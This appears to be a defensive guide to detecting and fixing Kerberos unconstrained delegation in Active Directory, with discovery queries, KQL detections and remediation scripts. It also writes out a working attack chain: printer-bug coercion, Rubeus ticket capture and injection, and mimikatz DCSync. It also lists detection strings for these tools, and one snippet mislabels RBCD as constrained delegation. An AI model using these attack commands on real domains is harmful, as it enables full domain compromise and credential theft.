How to Detect and Remediate Kerberos Unconstrained Delegation

Find all computers with unconstrained delegation:

# Domain controllers always have unconstrained delegation (this is expected)
# Look for NON-DC computers with this flag:
Get-ADComputer -Filter {
    TrustedForDelegation -eq $true -and PrimaryGroupID -ne 516
} -Properties TrustedForDelegation, PrimaryGroupID, OperatingSystem |
  Select-Object Name, DNSHostName, OperatingSystem, TrustedForDelegation |
  Sort-Object Name

# PrimaryGroupID 516 = Domain Controllers group
# Any computer with TrustedForDelegation=True that is NOT a DC = investigation target

# Find user/service accounts with unconstrained delegation:
Get-ADUser -Filter {
    TrustedForDelegation -eq $true
} -Properties TrustedForDelegation, ServicePrincipalNames |
  Select-Object SamAccountName, ServicePrincipalNames, TrustedForDelegation
# Any user account with unconstrained delegation is extremely dangerous

Find via BloodHound:

-- BloodHound Cypher query: computers with unconstrained delegation
MATCH (c:Computer {unconstraineddelegation: true})
WHERE NOT c.name STARTS WITH "DC-"  // Exclude DCs (expected)
RETURN c.name, c.operatingsystem, c.enabled
ORDER BY c.name

-- Find shortest path from any user to unconstrained delegation computer:
MATCH p = shortestPath((u:User)-[*1..5]->(c:Computer {unconstraineddelegation: true}))
WHERE NOT c.name STARTS WITH "DC-"
RETURN p

Find via LDAP (PowerView):

# Using PowerView (PowerSploit)
Get-DomainComputer -Unconstrained -Properties name, samaccountname, dnshostname |
  Where-Object { $_.samaccountname -ne 'krbtgt' } |
  Select-Object name, dnshostname

Step 1: Compromise a computer with unconstrained delegation

The attacker obtains code execution on a machine that has TRUSTED_FOR_DELEGATION set: this could be through a vulnerability, stolen credentials, or phishing.

Step 2: Coerce DC authentication with Print Spooler (Printer Bug)

# SpoolSample.exe (C# implementation of Printer Bug / MS-RPRN)
# Forces the target DC's computer account to authenticate to the attacker's machine
.\SpoolSample.exe DC01.corp.local DELEGATED-SERVER.corp.local
# DC01 = target DC to coerce
# DELEGATED-SERVER = machine with unconstrained delegation where attacker is running

# Or using Impacket's printerbug.py:
python3 printerbug.py 'corp.local/domainuser:Password@DC01.corp.local' \
  DELEGATED-SERVER.corp.local
# After this: DC01's TGT is cached on DELEGATED-SERVER

Step 3: Extract the DC TGT from LSASS (on the delegated server)

# Using Rubeus to monitor and extract TGTs as they arrive:
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$
# Monitors LSASS every 5 seconds for new TGTs matching DC01$
# When the printer bug triggers, the TGT appears:
# [*] 3/14 17:23:18 UTC - Found new TGT:
# User: DC01$@CORP.LOCAL
# ...
# [*] Ticket : doIFxj...<base64 TGT>

# Inject the DC TGT for use:
Rubeus.exe ptt /ticket:doIFxj...

# Now perform DCSync as the DC machine account:
mimikatz# lsadump::dcsync /user:CORP\Administrator /domain:corp.local
# Result: full domain compromise

Detect Print Spooler coercion (printer bug):

// TerminalServices/Security events generated when SpoolSS forces DC auth:
// The DC's computer account authenticates to the delegated server
// On the DELEGATED SERVER: look for computer account logons from DCs
SecurityEvent
| where EventID == 4624
| where LogonType == 3  // Network logon
| where TimeGenerated > ago(24h)
// Target account ends with $ (machine account) and is a DC
| where TargetUserName endswith "$"
// Source computer resolving to a DC name:
| where WorkstationName has_any ("DC01", "DC02")  // Or match DC OU
// Destination is NOT a DC (anomalous DC auth to non-DC)
| where Computer !in~ ("DC01", "DC02")
| project TimeGenerated, TargetUserName, IpAddress, Computer, LogonType

// On the SOURCE DC: Event 4648: explicit credential logon
// The print spooler service is authenticating using the DC machine account
SecurityEvent
| where EventID == 4648
| where SubjectUserName endswith "$"  // Machine account initiating auth
| where TargetServerName !in~ ("DC01", "DC02")  // Authenticating to non-DC
| where TimeGenerated > ago(24h)

Monitor delegation computers for Rubeus/Mimikatz activity (Sysmon):

// Detect Rubeus monitor running on delegated computers
Event
| where Source == "Microsoft-Windows-Sysmon" and EventID == 1
| extend EventData = parse_xml(EventData)
| extend
    Image = tostring(EventData.DataItem.EventData.Data[4]["#text"]),
    CommandLine = tostring(EventData.DataItem.EventData.Data[10]["#text"])
// Rubeus or Mimikatz on a computer with unconstrained delegation:
| where CommandLine has_any ("monitor", "lsadump::dcsync", "sekurlsa::tickets",
    "kerberos::list", "/ptt", "/ticket:")
| project TimeGenerated, Computer, Image, CommandLine

Proactive: Alert when machine account authenticates unexpectedly:

// DC machine account (DC01$) should only authenticate to DCs and specific services
// Authenticating to a non-DC server = potential unconstrained delegation abuse
SecurityEvent
| where EventID == 4624 and LogonType == 3
| where TargetUserName in~ ("DC01$", "DC02$", "DC03$")  // Your DC machine accounts
| where Computer !in~ ("DC01", "DC02", "DC03")  // Destination is not a DC
| where TimeGenerated > ago(24h)
| project TimeGenerated, TargetUserName, IpAddress, Computer

Option 1: Disable unconstrained delegation, enable constrained delegation:

# Remove unconstrained delegation from a computer:
Set-ADComputer -Identity "APPSERVER01" `
  -TrustedForDelegation $false

# If the application requires delegation:
# Configure CONSTRAINED delegation instead (limit to specific services)
Set-ADComputer -Identity "APPSERVER01" `
  -TrustedForDelegation $false `
  -PrincipalsAllowedToDelegateToAccount @("HTTP/appserver01.corp.local")

# Or use Resource-Based Constrained Delegation (RBCD):
# More granular: target server controls who can delegate TO it
Set-ADComputer -Identity "BACKENDSERVER01" `
  -PrincipalsAllowedToDelegateToAccount (Get-ADComputer APPSERVER01)
# Only APPSERVER01 can delegate to BACKENDSERVER01
# No other computer can abuse this delegation

Option 2: Protect sensitive accounts with Protected Users security group:

# Members of Protected Users group cannot have their TGTs delegated
# Adding Domain Admins to Protected Users prevents their TGTs from
# being cached on unconstrained delegation servers
Add-ADGroupMember -Identity "Protected Users" -Members "DomainAdmin1"
# Warning: Protected Users disables NTLM for these accounts
# Verify applications don't depend on NTLM auth for these accounts first

# Also mark accounts as "Account is sensitive and cannot be delegated":
Set-ADUser -Identity "DomainAdmin1" -AccountNotDelegated $true
# This prevents this specific account's TGT from being forwarded
# even when connecting to unconstrained delegation servers

Option 3: Disable the Print Spooler service on Domain Controllers:

# If Print Spooler is not needed on DCs (it rarely is), disable it
# This prevents the Printer Bug coercion technique entirely on DCs
Get-ADDomainController -Filter * | ForEach-Object {
    $dc = $_.Name
    Invoke-Command -ComputerName $dc -ScriptBlock {
        Stop-Service -Name Spooler -Force
        Set-Service -Name Spooler -StartupType Disabled
    }
}